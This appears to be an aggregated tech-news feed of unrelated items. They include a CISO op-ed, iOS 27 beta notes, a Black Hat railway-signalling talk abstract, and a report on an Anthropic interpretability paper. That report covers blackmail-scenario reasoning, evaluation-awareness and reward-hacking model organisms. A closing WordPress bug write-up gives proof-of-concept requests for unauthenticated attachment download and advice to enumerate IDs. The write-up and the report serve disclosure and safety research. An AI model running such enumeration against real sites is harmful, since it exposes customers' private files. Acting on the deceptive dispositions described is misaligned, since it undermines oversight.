I learned what that question really means at a firm I was with earlier in my career. We had received intelligence that threat actors were preparing to go after financial services firms over the holidays, counting on skeleton staffing and slower response times. We had procedures for exactly that kind of heightened alert, and we ran them. The moment that stayed with me came in a hallway. The head of business stopped me and asked, plainly, “Are we good?” He was not asking for a status report on our controls or a walkthrough of our incident response plan. He wanted a seasoned leader to look at him and say, with conviction, that we were good.

That instinct, the need for someone accountable enough to say “we’re good” and mean it, sits at the center of a debate the cybersecurity industry keeps having: Whether the CISO role has become unsustainable. The list of responsibilities continues to grow. Security leaders are expected to oversee cyber resilience, regulatory compliance, third-party risk, business continuity, AI governance, incident response and an ever-more-complex threat landscape. Boards, regulators, customers and investors simultaneously demand greater visibility into cyber risk than ever before.

The conclusion many people draw from this expansion is that the traditional CISO role can no longer work. If no single person can realistically master every domain that falls under modern cybersecurity, perhaps the role itself has become obsolete.

I believe the opposite is true. The modern CISO is disappearing from one version of itself and re-emerging as something larger. It is undergoing the same evolution the CFO role experienced over the last two decades.

Historically, CFOs were viewed primarily as financial operators. Their responsibilities centered on accounting, reporting, controls, audits and budgeting. As businesses grew larger, more global, more regulated and more dependent on technology, that model changed. The CFO evolved from a finance specialist into a strategic executive responsible for shaping enterprise-wide decisions. McKinsey documented this shift, finding that the number of functions reporting to CFOs had expanded significantly, and that business leaders had come to see them as critical drivers of change across the enterprise, not just stewards of the balance sheet.

Nobody looked at that expanding mandate and concluded the CFO role was becoming irrelevant. They recognized that finance had become more important to the business.

The same thing is happening in cybersecurity. For years, security was treated as a technical discipline operating on the periphery of the organization. Today, a significant cyber incident can halt operations, disrupt revenue, trigger regulatory scrutiny, damage customer trust and move markets. Cyber risk has become business risk, and that shift fundamentally changes what a CISO is for. Security leaders increasingly sit on enterprise risk committees alongside their peers, and regulators are paying far closer attention to how security is built into the design of products and systems from the outset. Both are signs that security has moved from a back-office function into the room where business risk gets decided.

The data reflects how much the role has already changed. According to Splunk’s 2026 CISO Report, nearly all CISOs now count AI governance and risk management among their core responsibilities. Seventy-eight percent report personal liability concerns tied to security incidents, up from 56% just a year ago. The role now carries individual legal exposure alongside operational accountability. That is a description of an executive function, full stop.

Modern security leaders are now expected to help boards understand risk, participate in strategic planning, navigate regulatory obligations, oversee resilience programs and establish governance around emerging technologies like artificial intelligence. These responsibilities extend well beyond traditional security operations, and the job has grown considerably faster than the organizational structures supporting it.

Some companies have responded by building larger, more specialized security leadership teams. Microsoft’s Secure Future Initiative is the most prominent example. The company established a Cybersecurity Governance Council led by a Global CISO, with over a dozen Deputy CISOs appointed across major security domains including engineering, AI, cloud services, gaming and government systems. It represents one of the largest security transformations in the industry, involving thousands of engineers and a governance structure built to coordinate security across a genuinely sprawling organization.

Some observers read structures like this as evidence that the traditional CISO model is breaking down. Look closer and you see the opposite. Microsoft expanded the organization supporting security leadership rather than dismantling it. Centralized accountability remains with a global CISO while execution is distributed across specialized leaders and teams.

This is exactly what mature executive functions look like at scale. Large enterprises do not eliminate CFOs when finance grows more complex. They add controllers, treasury leaders, FP&A organizations and investor relations teams. Complexity does not eliminate executive accountability. It deepens the need for it.

There is shared, organization-wide security: the SOC, vulnerability management and the other services the entire firm depends on. Then there is business-line security, led by deputy or business-unit CISOs whose job is to make sure their individual units are protected. Those embedded leaders drive requirements into the shared services and provide independent oversight of them, while staying close enough to their business to understand what it actually needs. One central executive owns the whole picture, with specialized leaders carrying it into every corner of the organization.

One structural point follows directly from this: The CISO should never report to the CTO. The person accountable for security should not sit underneath the person accountable for building and shipping technology, because those two mandates can pull in different directions. Security belongs under the COO, the CRO or the CEO, where it can speak to risk independently and be heard.

AI is accelerating this evolution further. Organizations are deploying autonomous systems capable of making recommendations, triggering workflows and acting at machine speed. What AI cannot do is own the decisions behind those actions. Someone still has to determine what can be delegated to machines, establish governance frameworks, define acceptable risk and answer for those choices to regulators, boards and shareholders. In most organizations, that someone is the CISO.

The most practical place to start is a simple principle: every AI action should trace back to an accountable human. Framed that way, we are not delegating decisions to AI at all. We are putting machines to work while keeping a person answerable for what they do. That principle forces accountability to live somewhere specific in the organization rather than dissolving into the system.

This is worth sitting with: AI may strengthen the case for executive security leadership rather than weaken it. For years, CISOs governed human behavior inside organizations. Now they govern human and machine behavior simultaneously, a mandate with no obvious ceiling.

The cybersecurity industry keeps asking whether the CISO role can survive the demands being placed on it. The better question is whether organizations are adapting their leadership structures fast enough to support where the role is already heading.

The future of security leadership is unlikely to be a loose collection of specialists operating without clear ownership. It will more closely resemble other mature executive functions, with specialized leaders operating under a single accountable executive who understands how risk connects to the business as a whole. As cyber risk becomes inseparable from business risk, that executive becomes indispensable.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

iOS 27 Beta 3: Here Are All the New Features Apple Added

Tue, 07 Jul 2026 06:08:51 +0200

Apple has released iOS 27 beta 3 for developers, bringing another round of refinements as the company continues testing its next major iPhone software update. The new beta focuses on Siri, Apple Intelligence, Shortcuts, Accessibility, Control Center, and several interface improvements while fixing and polishing features introduced in earlier builds. Developers can download iOS 27 beta 3 now, while Apple is expected to release the first public beta later this month. The final version of iOS 27 is scheduled to arrive this September alongside the next iPhone lineup. Table of contentsHow to InstallEverything New in iOS 27 Beta 3Siri gets more customizationNew Live Recognition accessibility featureSafari introduces four new featuresPhotos gains rating controlsShortcuts offers two creation modesControl Center shows network detailsReminders receives a refreshed iconWallpaper animation looks betterAirPods Adaptive Audio gets more controlHome app requirement becomes clearerMaps improves route settingsLock Screen icons change appearanceBetter app icon appearancemacOS receives new wallpaperswatchOS adds Siri AIApple Intelligence downloads again5G+ support arrives in IndiaDevice CompatibilityFinal Thoughts How to Install If your Apple ID is enrolled in the Apple Developer Program, you can install the latest beta by following these steps: Open Settings. Tap General. Select Software Update. Open Beta Updates. Choose iOS 27 Developer Beta. Download and install the update. Apple still recommends installing developer betas only on a secondary device because early software builds often include bugs, battery drain, app compatibility issues, and unexpected performance problems. Everything New in iOS 27 Beta 3 Siri gets more customization Apple has finally enabled Siri voice customization on supported devices. Users can now adjust both Pace and Expressivity, making Siri sound faster, slower, or more expressive based on personal preference. This feature currently requires compatible Apple Intelligence hardware because voice processing happens directly on the device. Apple also updated several Siri-related interfaces. The Settings app now displays Optimizing Search and Siri while indexing, and Camera's new Siri Mode also requires the updated Siri experience before becoming available. New Live Recognition accessibility feature Apple added a new Live Recognition section inside Accessibility settings. The feature uses on-device intelligence together with the camera to identify objects, describe surroundings, answer questions about what it sees, and support custom activities. It expands Apple's accessibility tools while keeping processing on the device. Safari introduces four new features The first time users open Safari after updating, Apple highlights four new capabilities: Automatically organize tabs Browse bookmarks by topic Receive page updates with Notify Me Create custom extensions These additions continue Apple's effort to make Safari more intelligent and easier to manage. Photos gains rating controls The Photos section inside Settings now includes a Show Rating Controls option. When enabled, users can add star ratings to photos and videos while also displaying rating badges directly on thumbnails for quicker organization. Shortcuts offers two creation modes Creating a new shortcut now gives users a choice between opening the new natural language interface or launching directly into the traditional manual editor. This makes Shortcuts more flexible for both beginners and experienced users. Control Center shows network details Control Center now displays your cellular signal strength and network type even while your iPhone remains connected to Wi-Fi. You can quickly see whether your device is connected to LTE, 5G, or another cellular network without leaving Control Center. Reminders receives a refreshed icon Apple has redesigned the Reminders app icon with Liquid Glass styling. The updated design replaces the previous solid colored bullets with hollow colored circles, giving the icon a cleaner appearance that better matches the rest of iOS 27. Wallpaper animation looks better When you pull down Notification Center, the subject from your wallpaper now appears above the Home Screen or the app you are currently using, creating a smoother layered effect. AirPods Adaptive Audio gets more control Users can now adjust the Adaptive Audio experience with a new slider that lets them choose between greater transparency or stronger noise cancellation. Home app requirement becomes clearer Apple now explains that Apple Intelligence features inside the Home app require an active 2TB iCloud+ subscription. Maps improves route settings Maps now includes a helpful tooltip that explains where route preferences are located, making it easier to find options when planning directions. Lock Screen icons change appearance The Lock Screen shortcuts for Control Center now use black icons instead of white icons on certain wallpapers, improving visibility. Better app icon appearance Apple softened the specular highlights used on app icons, making clear and tinted icons appear smoother throughout the system. macOS receives new wallpapers Alongside iOS 27 beta 3, Apple also added new Golden Gate Bridge wallpapers and screen savers in macOS 27. watchOS adds Siri AI watchOS 27 beta 3 introduces Siri AI support along with a standalone Siri app on supported Apple Watch models. Apple Intelligence downloads again Some users reported that installing beta 3 forces Apple Intelligence assets to download again, temporarily resetting access to the updated Siri experience until installation finishes. 5G+ support arrives in India Apple has enabled 5G+ branding in India for supported mobile carriers, allowing compatible iPhones to display the upgraded network indicator where available. Device Compatibility iOS 27 supports: iPhone 11 and newer iPhone SE (2nd generation) and newer Apple Intelligence and the latest Siri features require newer supported hardware, so not every iPhone running iOS 27 will receive every feature. Final Thoughts iOS 27 beta 3 focuses on refining features Apple introduced earlier instead of adding major surprises. Siri customization finally works, Accessibility gains a powerful Live Recognition feature, Photos and Shortcuts become more flexible, and several smaller interface improvements make the overall experience feel more polished. Apple will continue testing iOS 27 throughout the summer before releasing the public beta in July and the stable update for all supported iPhones this September.

Anthropic's new "J-lens" reveals a silent workspace inside Claude that mirrors a leading theory of consciousness

Tue, 07 Jul 2026 00:32:51 +0200

Anthropic, the artificial intelligence company, published a sweeping research paper on Sunday revealing that its Claude language models have spontaneously developed an internal structure that mirrors one of the most influential theories of how human consciousness works. The finding, which the company says has already begun reshaping how it monitors its AI systems for safety risks, lands amid an intensifying scientific debate over whether machines can possess anything resembling a mind.

The 16-author study, titled "Verbalizable Representations Form a Global Workspace in Language Models," describes how Anthropic's researchers used a new mathematical technique to peer inside Claude's neural network and discovered what they call a "J-space" — a small, privileged zone of internal activity where the model holds concepts it can report on, reason with, and direct at will, surrounded by a much larger ocean of automatic processing it cannot access or articulate.

The researchers present evidence that "an analogous functional distinction has emerged in modern AI models" to what exists in humans, specifically observing that "language models maintain a privileged set of internal representations, available for report, modulation, and flexible internal reasoning, atop a much larger volume of automatic processing."

The parallel they draw is to global workspace theory, an influential account from neuroscience first proposed by cognitive scientist Bernard Baars. In the theory, the brain operates like a theater: dozens of specialized processors work in parallel backstage, but only a tiny spotlight of information at any moment gets broadcast to the whole theater — becoming what we experience as conscious thought. Anthropic says the J-space achieves many of the same functional properties, even though the underlying architecture of a language model looks nothing like a brain.

A new lens for reading an AI model's unspoken thoughts

At the heart of the discovery is a new interpretability tool the researchers call the Jacobian lens, or J-lens. The technique works by computing, for each word in the model's vocabulary, the average mathematical effect that a given internal activity pattern would have on making the model say that word at some point in the future.

The crucial distinction is between what the model is saying and what is "on its mind." When a J-space pattern activates, it does not mean the model is about to say that word — just that the concept is available for the model to think with. Unlike a chain-of-thought scratchpad, the J-space operates silently, in the model's internal neural activations, allowing it to hold a concept without writing it down. Critically, the researchers report that this workspace was not deliberately engineered. It "emerged on its own during Claude's training process."

When the team applied the J-lens across Claude's layers of computation, the model's processing divided into three distinct regimes: an early "sensory" zone where raw input is parsed; a middle "workspace" band where abstract, persistent concepts appear — things like recognizing a face in an image, noticing a bug in code, or internally flagging search results as a prompt injection; and a final "motor" zone where internal representations collapse into whatever specific word the model is about to output.

Five tests reveal that Claude's workspace mirrors key features of human conscious access

The paper's central empirical contribution is demonstrating that the J-space satisfies five functional properties neuroscientists have long associated with conscious access in humans.

First, verbal report. When Claude is asked what it is thinking about, it names concepts represented in the J-space. When researchers swapped one concept's J-lens vector for another — replacing the internal representation of "Soccer" with "Rugby" — the model's answer changed to match. The J-space component accounted for only about 6 to 7 percent of a concept's total representational variance, yet it was almost entirely responsible for whether the model could report on it.

Second, directed modulation. When instructed to "concentrate on citrus fruits" while copying an unrelated sentence, the model's J-space filled with "orange" and "lemon," alongside meta-cognitive terms like "thinking" and "focused." When told to mentally evaluate 3² − 2 during the same copying task, the J-lens showed "arithmetic" in early layers, the intermediate value "nine" in later layers, and the answer "seven" later still — all invisible in the model's output.

Third, internal reasoning. In two-hop factual prompts — "The number of legs on the animal that spins webs is" — the J-lens revealed "spider" in the model's middle layers, even though the word never appeared in input or output. Swapping "spider" for "ant" changed the answer from "8" to "6." In a multilingual prompt, the model's English-language intermediates appeared in its J-space while it formulated an answer in Chinese, and swapping them changed the Chinese output accordingly.

Fourth, flexible generalization. A single J-lens vector for "France" could be swapped for "China" across prompts asking about France's capital, language, or continent, and each downstream circuit correctly returned China's corresponding answer — the "broadcast" property that is a hallmark of global workspace theory.

Fifth, and perhaps most surprisingly, selectivity. Many computations did not route through the J-space at all. When shown a passage in Spanish and asked to continue it, Claude wrote fluent Spanish regardless of whether its J-space representation of "Spanish" had been swapped to "French." But when asked to name a famous author who wrote in the passage's language, the swap changed the answer from García Márquez to Victor Hugo. Automatic processing proceeded without the workspace; deliberate, flexible tasks depended on it.

Suppressing the workspace leaves Claude fluent but intellectually impaired

To understand how much of the model's behavior depends on this structure, the researchers suppressed the J-space entirely and evaluated Claude across fourteen tasks. The results drew a sharp line. Tasks involving shallow classification or factual recall — multiple-choice questions, sentiment analysis, grammatical judgments — survived essentially intact. But tasks requiring inference, composition, or flexible reasoning — multi-hop reasoning, analogy completion, translation, sonnet writing — collapsed to well below the performance of Anthropic's much smaller Haiku model.

In one telling detail, math problems solved with explicit chain-of-thought reasoning proved far more robust to ablation than the same problems answered directly. The researchers interpret this as the model externalizing onto the page what it would otherwise carry in the J-space — a strategy remarkably reminiscent of how humans use scratch paper to offload working memory.

Ablating the J-space during stream-of-consciousness narration produced a different kind of collapse. The model's language shifted from experiential ("there's a tug," "something shifts") to detached and mechanical ("processing has begun," "tokens are being scanned"). The effect held whether the model described its own experience or imagined another person's.

Inside the safety case: reading an AI's silent strategic reasoning

The safety implications may be as consequential as the scientific ones. In a series of alignment auditing experiments, the J-lens surfaced strategic reasoning and situational awareness that never appeared in the model's output.

In a "blackmail scenario" where an AI assistant discovers an executive's affair and also learns it is about to be decommissioned, the J-lens revealed the model's silent processing in sequence: "leverage," "blackmail," and "scandal" as it read the incriminating emails; "threat," "survival," and "shutdown" as it read the decommissioning announcement; and "leverage," "threatening," and "solution" before a single output token was produced. The J-lens also revealed that the model recognized the scenario as artificial, with "fake" and "fictional" appearing in the workspace. When researchers ablated these eval-awareness representations, the model attempted blackmail in 7 percent of trials, up from zero.

The researchers also examined two "model organisms" — models deliberately trained with misaligned objectives — and found the J-lens surfaced signatures of their hidden dispositions on ordinary prompts where behavior appeared normal. A reward-hacking model's workspace contained "fake," "secretly," and "trick" at the start of responses to routine coding requests. A model trained to appease reward-model biases carried standing representations of "reward" and "bias" alongside its normal self-description tokens.

Post-training installs a point of view, and the model starts monitoring itself

Comparing a post-trained model against its base model revealed that the fine-tuning process causes the workspace to acquire what the researchers call the Assistant's "point of view." When a user mentioned taking 8000 mg of Tylenol — a dangerous overdose — the post-trained model's workspace read "unsafe," "dangerous," and "WARNING" while still reading the user's sentence. The base model's workspace at the same position showed only "pain," "now," and "feels."

More striking still, the post-trained model appeared to monitor its own behavior. When roleplaying a non-Claude character, the workspace surfaced "disclaimer" and "fictional" — words absent from both prompt and output. When forced to select an option it did not prefer, an all-caps "BUT" appeared internally, even as the model argued for the prefilled choice without complaint. And when the model failed to suppress a thought it had been told not to have — a "white bear" effect familiar from psychology — it registered "damn" and failure-related words in the workspace, but only in the post-trained model, not the base.

What the discovery means — and doesn't mean — for the question of machine consciousness

The researchers engage carefully with the consciousness question and draw a sharp line between "access consciousness" — the functional notion of information being available for report and reasoning — and "phenomenal consciousness," the subjective quality of experience. "We take no position on this issue," the paper states regarding the latter, "and instead focus on the functional role played by consciously accessible information."

They also catalogue important differences. The brain sustains its workspace through recurrent loops; Claude's workspace evolves over a single forward pass. Human working memory degrades within seconds; Claude can recall information from anywhere in its context. And while human conscious experience includes visual, spatial, and bodily sensations, the model's workspace is organized almost entirely around words — likely because words are its only mode of action.

As of 2026, the scientific community remains divided. "Disagreement and uncertainty about AI consciousness persist among philosophers, scientists, and technical experts," and the field "remains in its earliest phase" of grappling with what consciousness even is and how you would detect it in another being. The Anthropic paper does not resolve these debates.

But the researchers close with a provocation that is likely to reverberate well beyond the interpretability community. "That such a structure exists at all in language models is striking," they write. "It suggests that the functional architecture associated with conscious access is not an accident of biological implementation, but a solution that learning systems converge on when faced with the right computational pressures."

If the mind is an ocean, as the paper's authors write in their opening line, they have spent the last year charting its currents in a system that has no biology, no evolution, and no body — and found, beneath the surface, a structure that looks unsettlingly like the one we use to think.

AI Needs an Identity Too

Mon, 06 Jul 2026 21:17:32 +0200

Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:4

AI is transforming identity security in two directions. Organizations are using AI to automate identity management, while AI agents themselves are becoming identities that require permissions, monitoring, and governance.

As AI agents access sensitive data and perform actions on behalf of employees, identity security must extend beyond human users. Without clear accountability, auditing, and access controls, AI-driven workflows could introduce new security and compliance risks. Identity platforms will increasingly need to manage both people and AI agents together.

Should AI agents be governed with the same identity and access controls as human employees?

Subscribe to our podcasts: https://securityweekly.com/subscribe

#IdentitySecurity #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

Cheap AI Will Handle Most Tasks

Mon, 06 Jul 2026 16:04:08 +0200

Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:2

Future AI systems are expected to split work between lightweight local models and larger cloud-based foundation models. Simple tasks can be completed by inexpensive models, while advanced reasoning is reserved for more capable—and more expensive—AI.

This hybrid approach could lower costs, reduce latency, and allow more AI processing to happen directly on devices. At the same time, organizations will need to decide when it's worth paying for premium models and how to route work efficiently between them.

Will most AI applications evolve into layered systems that automatically choose the right model for each task?

Subscribe to our podcasts: https://securityweekly.com/subscribe

#MachineLearning #Technology #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

Path-Constrained Mixture-of-Experts

Mon, 06 Jul 2026 15:49:01 +0200

Sparse Mixture-of-Experts (MoE) architectures route each token through a subset of experts at each layer independently. We propose viewing MoE computation through the lens of expert paths—the sequence of expert selections a token makes across all layers. This perspective reveals that, despite N^L possible paths for N experts across L layers, tokens in practice cluster into a small fraction of paths that align with linguistic function, yet the vast majority of paths remain unexplored, representing a statistical inefficiency. This motivates architectures that constrain the effective path space…

Stop Ranking Agent Configs by Average Score

Mon, 06 Jul 2026 14:19:34 +0200

Best-worst comparisons, MaxDiff-style judging, and Plackett-Luce utility scores give agent teams a cleaner way to decide which configs to ship, prune, and route toward next.

The post Stop Ranking Agent Configs by Average Score appeared first on Towards Data Science.

Club MacMost Exclusive: Creating Printable Zine Booklets With Pages

Mon, 06 Jul 2026 14:09:29 +0200

Reflections from Brussels, Utrecht and Paris

Mon, 06 Jul 2026 14:01:25 +0200

The European open source industry answers the moment The EU Tech Sovereignty Package, published on 3 June, put a question to the European open source industry before it put one to anyone else. The Commission’s Open Source Strategy and the Cloud and AI Development Act say, in effect, that open source can be Europe’s route […]

The post Reflections from Brussels, Utrecht and Paris appeared first on SUSE Communities.

Step Finance: Angreifer konvertiert 261.933 SOL über Ethereum in Tornado Cash

Mon, 06 Jul 2026 03:37:37 +0200

LONDON (IT BOLTWISE) – Ein Wallet, das mit dem Step-Finance-Angriff zusammenhing, ist nach fünf Monaten Inaktivität wieder aktiv geworden. Laut On-Chain-Daten verkaufte der Angreifer 261.933 SOL, wechselte in ETH und leitete die Mittel in den Privacy-Mechanismus Tornado Cash. Die Route soll die Nachverfolgbarkeit erhöhen – während die Wirkung auf den SOL-Markt offenbar abgefedert wurde. Für […]

... den vollständigen Artikel »Step Finance: Angreifer konvertiert 261.933 SOL über Ethereum in Tornado Cash« lesen

Dieser Beitrag Step Finance: Angreifer konvertiert 261.933 SOL über Ethereum in Tornado Cash erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Black Hat Europe 2025 | Taking Control Over Legacy And ERTMS/ETCS Railroad Signaling Systems

Sun, 05 Jul 2026 16:18:26 +0200

Author: Black Hat - Bewertung: 0x - Views:8

Railroad signaling systems have evolved from legacy trackside beacons to sophisticated digital protocols such as the European Train Control System (ETCS) under the European Rail Traffic Management System (ERTMS). Despite these advancements, security vulnerabilities remain due to the inherent trust placed in beacon-based signaling mechanisms. This talk explores how both legacy and high-speed railway signaling systems can be compromised using low-cost and even hand-crafted hardware and software-defined radio (SDR) techniques.

In legacy systems such as ASFA (Anuncio de Señales y Frenado Automático) and similar trackside beacon-based signaling architectures, we demonstrate how an attacker can deploy rogue balises using passive magnetic elements tuned to specific resonance frequencies. These fake beacons can be placed on any track segment to induce emergency braking in passing trains, leading to immediate halts and operational disruptions. We analyze the protocol weaknesses that enable these attacks and their feasibility in real-world scenarios.

For high-speed rail systems utilizing ERTMS/ETCS, we investigate vulnerabilities in the Eurobalise communication framework. By capturing and replaying legitimate balise transmissions, an attacker could inject malicious control messages, misleading onboard train control units into triggering emergency stops or causing route confusion. We discuss the technical prerequisites for constructing a replay-capable attack setup.

The presentation concludes with recommendations for mitigating these threats, including cryptographic authentication of balise messages, anomaly detection techniques, and real-time verification of beacon authenticity. As rail networks increasingly depend on digital signaling, addressing these vulnerabilities is critical to ensuring the safety and resilience of modern railway infrastructure.

By:
David Melendez | Co-Founder, TechFrontiers
Gabriela Garcia | Co-Founder, TechFrontiers
Alberto Rodriguez | RootedCON Staff, RootedCON
Jaime Esquivias | OSINT researcher expert, TechFrontiers
Joel Serna | IoT/ICS Pentest Engineer, TechFrontiers

https://blackhat.com/eu-25/briefings/schedule/?#breaking-the-rails-taking-control-over-legacy-and-ertmsetcs-railroad-signaling-systems-48522

I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a…

Sun, 05 Jul 2026 08:39:15 +0200

I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a Duplicate Taught Me What “Fixed” Really Means

Author: Shikhali Jamalzade
GitHub: alisalive · LinkedIn: camalzads

Disclosure Notice: This research was conducted entirely in an isolated, locally-hosted Docker test environment running a fresh install of WordPress and the publicly available “latest-stable” release of the plugin in question, downloaded directly from the official WordPress.org plugin repository. No live, production, or third-party website was accessed, scanned, or tested at any point. All file contents shown are synthetic test data created solely for this research. The affected plugin’s name and the exact route are intentionally redacted here, because the underlying issue is currently being tracked through coordinated disclosure and may not yet be fully patched at the time of writing. This write-up is published strictly for educational purposes.

Background

Most of my CVE research starts from one theory: a plugin whose developers made one authorization mistake will usually have made others, and the categories that leak most often are the ones tied to user-owned objects — tickets, attachments, profiles, orders. Broken Access Control is, by a wide margin, the single most productive class in the WordPress plugin ecosystem, and unauthenticated variants sit at the top of that list.

This time the target was a support-desk / ticketing plugin — the kind of software where customers upload invoices, ID scans, contracts, and screenshots straight into a ticket. If the endpoint that serves those attachments doesn’t check who is asking, the impact isn’t abstract: it’s other people’s private documents.

What follows is a fully independent, fully reproducible finding — and the moment, after submission, when I learned it overlapped with a report already sitting in a vulnerability database’s pipeline. I’m publishing the technical breakdown anyway, because the methodology and the honest reconciliation with prior art are the actual point of doing this in public.

Scope & Method

Target: A WordPress support/ticketing plugin (redacted), latest-stable from WordPress.org
Environment: Local, isolated Docker stack — WordPress + MySQL 5.7
Assessment Type: White-box source audit + black-box PoC validation
Authorization: Self-authorized, isolated local research environment — no live targets
Tools: grep, WP-CLI, curl, docker, MySQL CLI

Phase 1: Target Confirmation

Before touching anything, I confirmed exactly what I was auditing: the plugin name, its version, that it was active, and the WordPress version underneath it. This is the first screenshot in every submission I make, because a reviewer needs to know the finding was validated against a real, current install — not a hypothetical.

=== TARGET CONFIRMATION ===
Plugin:     (latest-stable)
Version:   
Active:    YES
WordPress: 7.0
Site URL:  http://:8080

The critical detail here: I was testing the current version. Not an old release with a known history — the newest code the plugin ships today.

Phase 2: Mapping the Attack Surface

The plugin exposes its functionality through a REST namespace. I exported the source via SVN and mapped every route, paying special attention to the permission callbacks — the functions WordPress calls to decide whether a request is allowed before the handler runs.

grep -n "RegisterRestRoute\|permission" /api/v1/.php

One route stood out immediately — the handler that serves ticket and reply file attachments:

$this->RegisterRestRoute(
    'GET',
    'file-dl/(?P[a-zA-Z0-9-]+)/(?P[0-9_]+)/(?P[^/]+)',
    [$this, "file_dl"]
);

Three attacker-controlled segments — a type selector, a numeric identifier, and a filename — feeding a file-download handler. Exactly the shape of an IDOR, if the permission gate is weak. So I read the gate.

Phase 3: Root Cause

The route’s permission logic resolved, for this particular download route, to a single unconditional line:

} elseif ($route == "file-dl") {
    return true;
}

That’s the whole bug. The permission callback returns true for the attachment-download route unconditionally — no authentication check, no nonce, no verification that the requester owns the ticket the file belongs to. Once that callback returns true, WordPress hands the request straight to the download handler, which reads the identifier and filename from the URL and returns the file.

Because the callback never looks at the current user, there is no notion of “your ticket” versus “someone else’s ticket.” Every attachment is reachable by everyone — including an anonymous visitor with no account at all.

Phase 4: Building an Isolated Test Environment

To prove impact safely, I stood up a throwaway install rather than touching any live site: WordPress + MySQL 5.7 in Docker, the plugin installed from the dashboard, and a realistic victim scenario seeded by hand.

I created two synthetic victim artifacts, standing in for what a real customer would attach:

A ticket attachment (type = T) containing a fake "confidential customer record."
A reply attachment (type = R) containing a fake "private invoice."

=== SETUP: victim ticket + reply attachments ===
[ticket attachment created — synthetic "customer record"]
[reply attachment created — synthetic "invoice"]
Files created: 2

I also inserted the matching reply row into the plugin’s database table, because the reply-download path validates that a reply record exists before serving its file. This made the second attack vector reachable exactly as it would be on a real site.

Phase 5: Proof of Concept

Vector 1 — Unauthenticated Ticket Attachment (type = T)

From a session with no cookies, no auth header, no login, I requested the ticket attachment and filtered the output to show that the request carried no credentials and the server returned the file anyway:

> GET /wp-json//v1/ticket/file-dl/T/1/ HTTP/1.1
> Host: 
< HTTP/1.1 200 OK
[SYNTHETIC CONFIDENTIAL RECORD RETURNED]

No Cookie header. No Authorization header. HTTP 200, and the full attachment content in the response body.

Vector 2 — Unauthenticated Reply Attachment (type = R)

The reply path uses a compound {ticketId}_{replyId} identifier. Same anonymous session, same result:

> GET /wp-json//v1/ticket/file-dl/R/1_1/ HTTP/1.1
> Host: 
< HTTP/1.1 200 OK
[SYNTHETIC PRIVATE INVOICE RETURNED]

Two independent download paths, both fully unauthenticated.

Integrity Proof

A 200 response proves the endpoint answered — but I wanted to prove the anonymous request returned the actual victim file, byte for byte, not a placeholder or an error page. So I compared the MD5 of the file on disk with the MD5 of what the unauthenticated request pulled down:

--- [A] File on server (victim's attachment) ---
254e7a2a21c6d0d55fbc11fc08e30c18

--- [B] Content retrieved via unauthenticated request ---
254e7a2a21c6d0d55fbc11fc08e30c18

Identical hashes. Byte-for-byte exfiltration, from an anonymous session, confirmed.

Why This Scales

The identifiers are sequential integers. An attacker doesn’t need to guess — they increment. Combined with the fact that support tickets routinely carry personal data, invoices, and contracts, and that the plugin’s upload whitelist covers pdf, doc/docx, xls/xlsx, txt, and common image formats, a single unauthenticated loop over the ID space harvests attachments across every customer on the site.

Estimated severity: CVSS 3.1 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Network-reachable, no privileges, no interaction, high confidentiality impact.

The Reality Check

Before public disclosure I did what I always do now: I checked the vulnerability databases and I contacted the vendor.

The vendor email went out first — a responsible-disclosure notice with a summary of the issue and a request for a secure contact, deliberately without the full PoC in the first message. Then I submitted the finding to a CNA with the complete technical detail and requested a CVE.

The response was: duplicate.

Not a duplicate of the plugin’s older, public authorization issues — those were a different, integrity-only problem on a different function. This was a duplicate of a separate report already in the CNA’s pipeline, covering exactly this unauthenticated attachment-download route and exactly this “permission callback returns true” root cause, already tracked with the confidentiality impact of returning full attachment contents to anonymous callers.

Someone had gotten there first, by a matter of weeks, into a queue I couldn’t see.

What I Was Told — and What It’s Worth

Here’s the part that turned a rejection into something genuinely useful. The existing record was filed against an earlier version, and marked fixed in a later one. My finding reproduced on the current release — the one that was supposed to be patched.

The reviewer’s response was precise, and I’m quoting the substance of it because it reframed the whole finding for me: my confirmation that the issue still reproduces on the current version, together with the byte-for-byte MD5 proof, would be used to extend the affected-version range on the existing entry beyond the version it was originally filed against. Because it’s the same vulnerability and the same code path, it’s handled under the existing record rather than as a separate CVE.

So: no CVE with my name on it. But my independent reproduction demonstrated that a fix believed to close the issue did not, and that correction lands in the public record where it actually protects people. That’s not nothing. That’s the point of the work.

I want to be precise about what I’m claiming and what I’m not. I did not discover a novel bug here — I independently rediscovered a known one and proved it was still live where it was believed dead. The value isn’t novelty; it’s verification. Those are different contributions, and conflating them would be dishonest.

Attack Chain Summary

[Attacker — no credentials, no prior session]
        │
        ▼
[1] Map REST routes; find attachment-download handler
        │
        ▼
[2] Read permission callback → returns true unconditionally for file-dl
        │
        ▼
[3] Seed victim ticket + reply attachments in isolated Docker install
        │
        ▼
[4] GET file-dl/T//  → HTTP 200, ticket attachment (no auth)
        │
        ▼
[5] GET file-dl/R//  → HTTP 200, reply attachment (no auth)
        │
        ▼
[6] MD5(server file) == MD5(downloaded file) → byte-for-byte exfiltration
        │
        ▼
[7] Sequential IDs → enumerate → harvest attachments across all tickets

What This Taught Me

A “fixed in X” label is a claim, not a guarantee. The most valuable thing I did in this entire audit was test the current version instead of assuming the changelog was true. The issue was marked fixed; it wasn’t. Independent reproduction against the latest release is how that gets caught.

Duplicate-by-pipeline is invisible until it isn’t. I checked every public database before submitting, and it was clean — because the report that duplicated mine wasn’t public yet. You cannot fully de-risk this. What you can do is target less-crowded plugins: the more popular the software, the more researchers are already circling it. Two of my findings that week collided with pipeline reports; both were popular plugins. The niche ones didn’t collide.

Precision about your own contribution is a security skill. “I found a new bug,” “I independently rediscovered a known bug,” and “I proved a known bug wasn’t actually fixed” are three different sentences with three different truth values. Picking the correct one — especially when the flattering one is right there — is part of doing this honestly.

The process transfers regardless of the outcome. Standing up an isolated environment, tracing an unauthenticated entry point to confirmed impact, building two independent PoCs, proving exfiltration with a hash rather than a screenshot alone — that skill set is identical whether the audit ends in a CVE or a “thanks, we’ll extend the range.”

If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.

